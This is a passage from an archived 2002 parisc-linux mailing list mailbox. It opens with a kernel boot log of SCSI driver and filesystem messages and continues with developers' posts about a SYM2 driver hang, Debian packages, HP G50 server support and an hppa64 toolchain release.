sym53c8xx_timer(): iorl cpu 0  ret 270725880  line 1895
sym3: No NVRAM, ID 7, Fast-40, SE, parity checking
sym3: SCSI BUS has been reset.
sym_attach: settle flag 1  time 0x2e3c  iorl 0
sym3: SCSI BUS mode change from SE to SE.
sym3: SCSI BUS has been reset.
sym53c8xx_timer(): iorl cpu 0  ret 270725880  line 1895
sym4: <896> rev 0x1 on pci bus 32 device 0 function 0 irq 256
sym53c8xx_timer(): iorl cpu 0  ret 270725880  line 1895
sym4: No NVRAM, ID 7, Fast-40, LVD, parity checking
sym4: SCSI BUS has been reset.
sym_attach: settle flag 1  time 0x2e62  iorl 0
sym53c8xx_timer(): iorl cpu 0  ret 270725880  line 1895
sym53c8xx_timer(): iorl cpu 0  ret 270725880  line 1895
sym53c8xx_timer(): iorl cpu 0  ret 270725880  line 1895
sym5: <896> rev 0x1 on pci bus 32 device 0 function 1 irq 257
sym5: No NVRAM, ID 7, Fast-40, LVD, parity checking
sym5: SCSI BUS has been reset.
sym_attach: settle flag 1  time 0x2e91  iorl 0
sym53c8xx_timer(): iorl cpu 0  ret 270725880  line 1895
sym53c8xx_timer(): iorl cpu 0  ret 270725880  line 1895
scsi_register_host: released iorl
scsi0 : sym-2.1.17a
scsi1 : sym-2.1.17a
scsi2 : sym-2.1.17a
scsi3 : sym-2.1.17a
scsi4 : sym-2.1.17a
scsi5 : sym-2.1.17a
  Vendor: HP 73.4G  Model: ST373405LC        Rev: HP03
  Type:   Direct-Access                      ANSI SCSI revision: 02
sym1:15:0: tagged command queuing enabled, command queue depth 8.
  Vendor: SEAGATE   Model: ST39173LC         Rev: 6381
  Type:   Direct-Access                      ANSI SCSI revision: 02
sym3:15:0: tagged command queuing enabled, command queue depth 8.
  Vendor: HP        Model: D5989B            Rev: 1.02
  Type:   Processor                          ANSI SCSI revision: 02
  Vendor: SEAGATE   Model: ST34573WC         Rev: HP05
  Type:   Direct-Access                      ANSI SCSI revision: 02
sym4:11: wide asynchronous.
sym4:11:0:M_REJECT to send for : 1-3-1-c-f.
  Vendor: HP        Model: 9.10GB B 80-1205  Rev:     
  Type:   Direct-Access                      ANSI SCSI revision: 02
sym4:12: wide asynchronous.
sym4:12:0:M_REJECT to send for : 1-3-1-c-f.
  Vendor: HP        Model: 9.10GB B 80-1205  Rev:     
  Type:   Direct-Access                      ANSI SCSI revision: 02
sym4:13: wide asynchronous.
sym4:13:0:M_REJECT to send for : 1-3-1-c-f.
  Vendor: HP        Model: 9.10GB B 80-1205  Rev:     
  Type:   Direct-Access                      ANSI SCSI revision: 02
sym4:14: wide asynchronous.
sym4:14:0:M_REJECT to send for : 1-3-1-c-f.
  Vendor: HP        Model: 9.10GB B 80-1205  Rev:     
  Type:   Direct-Access                      ANSI SCSI revision: 02
sym4:15: wide asynchronous.
sym4:15:0:M_REJECT to send for : 1-3-1-c-f.
  Vendor: HP        Model: 9.10GB B 80-1205  Rev:     
  Type:   Direct-Access                      ANSI SCSI revision: 02
sym4:10:0: tagged command queuing enabled, command queue depth 8.
sym4:11:0: tagged command queuing enabled, command queue depth 8.
sym4:12:0: tagged command queuing enabled, command queue depth 8.
sym4:13:0: tagged command queuing enabled, command queue depth 8.
sym4:14:0: tagged command queuing enabled, command queue depth 8.
sym4:15:0: tagged command queuing enabled, command queue depth 8.
Attached scsi disk sda at scsi1, channel 0, id 15, lun 0
Attached scsi disk sdb at scsi3, channel 0, id 15, lun 0
Attached scsi disk sdc at scsi4, channel 0, id 10, lun 0
Attached scsi disk sdd at scsi4, channel 0, id 11, lun 0
Attached scsi disk sde at scsi4, channel 0, id 12, lun 0
Attached scsi disk sdf at scsi4, channel 0, id 13, lun 0
Attached scsi disk sdg at scsi4, channel 0, id 14, lun 0
Attached scsi disk sdh at scsi4, channel 0, id 15, lun 0
sym1:15: FAST-20 WIDE SCSI 40.0 MB/s ST (50.0 ns, offset 16)
SCSI device sda: 143374738 512-byte hdwr sectors (73408 MB)
Partition check:
 sda: unknown partition table
sym3:15: FAST-20 WIDE SCSI 40.0 MB/s ST (50.0 ns, offset 15)
SCSI device sdb: 17781521 512-byte hdwr sectors (9104 MB)
 sdb: sdb1 sdb2 sdb3 sdb4
sym4:10: wide asynchronous.
SCSI device sdc: 8388314 512-byte hdwr sectors (4295 MB)
 sdc: unknown partition table
SCSI device sdd: 17773524 512-byte hdwr sectors (9100 MB)
 sdd: unknown partition table
SCSI device sde: 17773524 512-byte hdwr sectors (9100 MB)
 sde: unknown partition table
SCSI device sdf: 17773524 512-byte hdwr sectors (9100 MB)
 sdf: sdf1 sdf2
SCSI device sdg: 17773524 512-byte hdwr sectors (9100 MB)
 sdg:
SCSI device sdh: 17773524 512-byte hdwr sectors (9100 MB)
 sdh: unknown partition table
Attached scsi generic sg2 at scsi4, channel 0, id 5, lun 0,  type 3
md: linear personality registered as nr 1
md: raid0 personality registered as nr 2
md: raid1 personality registered as nr 3
md: raid5 personality registered as nr 4
raid5: measuring checksumming speed
   8regs     :  2983.600 MB/sec
   8regs_prefetch:  2400.000 MB/sec
   32regs    :  2430.800 MB/sec
   32regs_prefetch:  2285.600 MB/sec
raid5: using function: 8regs (2983.600 MB/sec)
md: md driver 0.90.0 MAX_MD_DEVS=256, MD_SB_DISKS=27
md: Autodetecting RAID arrays.
md: autorun ...
md: ... autorun DONE.
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP
IP: routing cache hash table of 1024 buckets, 64Kbytes
TCP: Hash tables configured (established 32768 bind 43690)
ip_conntrack (3982 buckets, 31856 max)
ip_tables: (C) 2000-2002 Netfilter core team
NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
kjournald starting.  Commit interval 5 seconds
EXT3-fs: mounted filesystem with ordered data mode.
VFS: Mounted root (ext3 filesystem) readonly.
Freeing unused kernel memory: 224k freed
Adding Swap: 525288k swap-space (priority -1)
EXT3 FS 2.4-0.9.17, 10 Jan 2002 on sd(8,19), internal journal
LVM version 1.0.3(19/02/2002) module loaded
kjournald starting.  Commit interval 5 seconds
EXT3 FS 2.4-0.9.17, 10 Jan 2002 on sd(8,20), internal journal
EXT3-fs: mounted filesystem with ordered data mode.
kjournald starting.  Commit interval 5 seconds
EXT3 FS 2.4-0.9.17, 10 Jan 2002 on sd(8,32), internal journal
EXT3-fs: mounted filesystem with ordered data mode.
kjournald starting.  Commit interval 5 seconds
EXT3 FS 2.4-0.9.17, 10 Jan 2002 on sd(8,48), internal journal
EXT3-fs: mounted filesystem with ordered data mode.
kjournald starting.  Commit interval 5 seconds
EXT3 FS 2.4-0.9.17, 10 Jan 2002 on sd(8,64), internal journal
EXT3-fs: mounted filesystem with ordered data mode.
kjournald starting.  Commit interval 5 seconds
EXT3 FS 2.4-0.9.17, 10 Jan 2002 on sd(8,81), internal journal
EXT3-fs: mounted filesystem with ordered data mode.
kjournald starting.  Commit interval 5 seconds
EXT3 FS 2.4-0.9.17, 10 Jan 2002 on sd(8,82), internal journal
EXT3-fs: mounted filesystem with ordered data mode.
kjournald starting.  Commit interval 5 seconds
EXT3 FS 2.4-0.9.17, 10 Jan 2002 on sd(8,96), internal journal
EXT3-fs: mounted filesystem with ordered data mode.
eth0: Setting full-duplex based on MII#1 link partner capability of 41e1.
sym53c8xx_timer(): iorl cpu 1  ret 270760060  line 700
sym53c8xx_timer(): iorl cpu 1  ret 270760060  line 700
grundler@gsyprf11:~$ 


From - Thu Nov 08 21:25:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] rp2470 hang...getting closer
Date: Sun, 13 Oct 2002 15:56:13 +0200
Organization: ESIEE
Lines: 21
Approved: news@gmane.org
Message-ID: <20021013155613.3825e5e7.varenet@esiee.fr>
References: <20021013044033.88A544829@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621826 15634 80.91.229.3 (22 Nov 2014 02:03:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:46 +0000 (UTC)
Cc: grundler@dsl2.external.hp.com
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 13 07:56:23 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.zigoo.net (e004.dhcp212-198-142.noos.fr [212.198.142.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 48EBE4829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 13 Oct 2002 07:56:22 -0600 (MDT)
Original-Received: from Tatooine (varenet@Tatoine [192.168.69.3])
	by mail.zigoo.net (8.12.5/8.12.1) with SMTP id g9DDuDIG022906;
	Sun, 13 Oct 2002 15:56:14 +0200
In-Reply-To: <20021013044033.88A544829@dsl2.external.hp.com>
X-Mailer: Sylpheed version 0.7.4claws (GTK+ 1.2.10; powerpc-debian-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16478

On Sat, 12 Oct 2002 22:40:33 -0600 (MDT)
"Grant Grundler" <grundler@dsl2.external.hp.com> wrote:


> My A500-4X boots and has 4 built-in SCSI ports (1 53c896 and 1 53c876).
> The A500-6X which hangs has an additional add-on 53c896.
> I suspect the two extra SCSI ports make the difference.
I don't think this is the only reason:
see, we have an A500-5X (4 built-in SCSI ports, 1 875 and 1 896), which hangs from boots to boots when booting with SYM2 driver, and at each boot _when SYM2 debug options are set to max verboseness_.

I also remember we had some troubles with SYM2 on our J5k (2 ports: 896), though I have not checked this box with SYM2 since 2.4.18-pa21.

We're investigating on that problem and keep the m-l informed.

HTH,


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/


From - Thu Nov 08 21:25:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tilo Riemer <t.riemer@visoel.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] cvsup for hppa?
Date: Mon, 14 Oct 2002 10:26:41 +0200
Lines: 20
Approved: news@gmane.org
Message-ID: <3DAA7FC1.1020200@visoel.de>
References: <3D8EED0B00001C0B@ocpmta5.be.tiscali.com> <3DA688D8.7030502@visoel.de> <3DA88016.2000001@freebel.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621827 15635 80.91.229.3 (22 Nov 2014 02:03:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:47 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 14 02:22:28 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from post.webmailer.de (natpost.webmailer.de [192.67.198.65])
	by dsl2.external.hp.com (Postfix) with ESMTP id 539214829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 14 Oct 2002 02:22:27 -0600 (MDT)
Original-Received: from visoel.de (dialin-145-254-073-226.arcor-ip.net [145.254.73.226])
	by post.webmailer.de (8.9.3/8.8.7) with ESMTP id KAA25754
	for <parisc-linux@lists.parisc-linux.org>; Mon, 14 Oct 2002 10:22:22 +0200 (MET DST)
User-Agent: Mozilla/5.0 (Windows; U; WinNT; en; Stable) Gecko/20020911 Beonex/0.8.1-stable
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16479

hello,


>> I use rsync now. It works fine for me...
>>
> Great and interesting.
> 
> May I ask you how do you do? (rsync tree would be enough :-) )

please take a look to www.rsync.org. you will find all needed infos at 
"Documentation". for configuration of rsync server, read the rsyncd.conf 
man page, for using rsync on client side the rsync man page. all is very 
simple.
If you have more question feel free to ask me.

best regards, Tilo





From - Thu Nov 08 21:25:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jeffo" <jeffo@pop.hsbc.com.br>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Packages
Date: Mon, 14 Oct 2002 09:05:20 -0200
Lines: 15
Approved: news@gmane.org
Message-ID: <003601c27371$9618c6a0$db0b0aa7@pcaktel083>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621827 15637 80.91.229.3 (22 Nov 2014 02:03:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:47 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 14 06:05:25 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hsbcsv17.hsbc.com.br (hsbcsv17.hsbc.com.br [200.208.29.83])
	by dsl2.external.hp.com (Postfix) with ESMTP id D8E3F4829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 14 Oct 2002 06:05:24 -0600 (MDT)
Original-Received: from pop.hsbc.com.br (unverified) by hsbcsv17.hsbc.com.br
 (Content Technologies SMTPRS 4.2.10) with ESMTP id <T5dee8f3424ac1c5053328@hsbcsv17.hsbc.com.br> for <parisc-linux@lists.parisc-linux.org>;
 Mon, 14 Oct 2002 09:05:20 -0300
Original-Received: from pcaktel083 ([167.10.11.219])
	by pop.hsbc.com.br (8.11.6/8.11.6) with SMTP id g9EC5K217292
	for <parisc-linux@lists.parisc-linux.org>; Mon, 14 Oct 2002 10:05:20 -0200
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16480

Hello.


Does anyone know where I can get this packages? Ive been wandering thru the
pa-risc FTP without success:

"(...)4.1.0-11 or newer version of the X packages, available in unstable,
which fixes the problem "

Thanks.
Jeffo.





From - Thu Nov 08 21:25:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Packages
Date: Mon, 14 Oct 2002 09:27:35 -0600
Lines: 13
Approved: news@gmane.org
Message-ID: <20021014152735.2AE244829@dsl2.external.hp.com>
References: <003601c27371$9618c6a0$db0b0aa7@pcaktel083>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621827 15639 80.91.229.3 (22 Nov 2014 02:03:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:47 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Jeffo" <jeffo@pop.hsbc.com.br>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 14 09:27:35 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 2AE244829; Mon, 14 Oct 2002 09:27:35 -0600 (MDT)
In-Reply-To: Message from "Jeffo" <jeffo@pop.hsbc.com.br> 
   of "Mon, 14 Oct 2002 09:05:20 -0200." <003601c27371$9618c6a0$db0b0aa7@pcaktel083> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16481

"Jeffo" wrote:
> "(...)4.1.0-11 or newer version of the X packages, available in unstable,
> which fixes the problem "

"unstable" is a developement "release" of Debian.
The life cycle of a .deb package is it gets put in "unstable" and
then promoted to "testing" and finally "stable".

I sometimes build parisc XF86 .debs for the maintainer and put them on
	http://gsyprf11.external.hp.com/hppa/

grant


From - Thu Nov 08 21:25:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christian_Ehlers@gmx.de
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] (no subject)
Date: Mon, 14 Oct 2002 18:11:15 +0200 (MEST)
Lines: 11
Approved: news@gmane.org
Message-ID: <18069.1034611875@www43.gmx.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621828 15640 80.91.229.3 (22 Nov 2014 02:03:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:48 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 14 10:11:20 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mx0.gmx.net (mx0.gmx.net [213.165.64.100])
	by dsl2.external.hp.com (Postfix) with SMTP id 7BCE24829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 14 Oct 2002 10:11:19 -0600 (MDT)
Original-Received: (qmail 31886 invoked by uid 0); 14 Oct 2002 16:11:15 -0000
X-Priority: 3 (Normal)
X-Authenticated-Sender: #0002937306@gmx.net
X-Authenticated-IP: [62.158.221.175]
X-Mailer: WWW-Mail 1.5 (Global Message Exchange)
X-Flags: 0001
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16482

Hi, I recently asked varenet@esiee.fr  if you support the HP 800/G50 9000
server. He told me that this is not the case and that I should set up a network
access to it so someone could work on it if they wanted to. Now I wanted to
know if there is someone who would like to do this. 
Thanks

-- 
+++ GMX - Mail, Messaging & more  http://www.gmx.net +++
NEU: Mit GMX ins Internet. Rund um die Uhr fr 1 ct/ Min. surfen!



From - Thu Nov 08 21:25:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] New hppa64 toolchain available
Date: Mon, 14 Oct 2002 20:28:19 +0200
Lines: 22
Approved: news@gmane.org
Message-ID: <B6610D13-DFA2-11D6-A1B0-0030656F07A2@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v546)
Content-Type: text/plain; delsp=yes; charset=US-ASCII; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621828 15643 80.91.229.3 (22 Nov 2014 02:03:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:48 +0000 (UTC)
To: PA/Linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 14 12:28:27 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep15-int.chello.at (viefep15-int.chello.at [213.46.255.19])
	by dsl2.external.hp.com (Postfix) with ESMTP id 917374829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 14 Oct 2002 12:28:25 -0600 (MDT)
Original-Received: from esiee.fr ([213.245.40.23]) by viefep15-int.chello.at
          (InterMail vM.5.01.05.12 201-253-122-126-112-20020820) with ESMTP
          id <20021014182820.GRN9517.viefep15-int.chello.at@esiee.fr>
          for <parisc-linux@lists.parisc-linux.org>;
          Mon, 14 Oct 2002 20:28:20 +0200
X-Mailer: Apple Mail (2.546)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16483

Hi fellow pa-ckers !

This short mail to announce the new availability of a new hppa->hppa64  
toolchain on dsl2:

ftp://ftp.parisc-linux.org/unofficial-debs/gcc-hppa64_3.0.4ds3- 
7_hppa.deb

It replaces the old binutils64 package.

It features binutils 2.13.90.0.4 and gcc-3.0.4ds3-7

Thanks Randolph Chung for making it a debian package :)

HTH,


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/



From - Thu Nov 08 21:25:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] G50 support
Date: Tue, 15 Oct 2002 02:06:47 +0100
Lines: 25
Approved: news@gmane.org
Message-ID: <20021015020647.A8660@parcelfarce.linux.theplanet.co.uk>
References: <18069.1034611875@www43.gmx.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621828 15646 80.91.229.3 (22 Nov 2014 02:03:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:48 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Christian_Ehlers@gmx.de
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 14 19:06:52 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id AE2F44829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 14 Oct 2002 19:06:51 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 181GAZ-0005Gr-00; Tue, 15 Oct 2002 02:06:47 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <18069.1034611875@www43.gmx.net>; from Christian_Ehlers@gmx.de on Mon, Oct 14, 2002 at 06:11:15PM +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16484

On Mon, Oct 14, 2002 at 06:11:15PM +0200, Christian_Ehlers@gmx.de wrote:
> Hi, I recently asked varenet@esiee.fr  if you support the HP 800/G50 9000
> server. He told me that this is not the case and that I should set up a network
> access to it so someone could work on it if they wanted to. Now I wanted to
> know if there is someone who would like to do this. 

Support for this box is going to be quite hard.  Here's the device list:

TNova (887, 897, 987) (Processor)  (PA7100/PA7150 (PCX-T))
Nova (Memory)
Miura LAN/Console (J2146A) (B DMA) (x2) (Undocumented driver)
Wizard SCSI (A DMA) (x2)
ACC Mux (AMSO) (A DMA) (x2)
Sahp Baat Kiuh SCSI (A DMA) (Undocumented driver)
Skunk Centronics (28655A) (A Direct) (Undocumented driver)
Sahp Baat Kiuh AP/MUX (A Direct) (Mux driver)

Miura Lan & ACC Mux seem to be a one-of-a-kind devices.  Wizard & Sahp
Baat Kiuh SCSI and the Skunk Centronics devices will likely be supported
by those working on K/E class support.  Sahp Baat Kiuh AP/MUX should
already work.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:25:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Lavender <plaven@bigpond.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] help!!! apt-get dist-upgrade
Date: Tue, 15 Oct 2002 12:27:20 +1000
Lines: 27
Approved: news@gmane.org
Message-ID: <20021015122720.E893@piglet>
Reply-To: plaven@bigpond.net.au
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
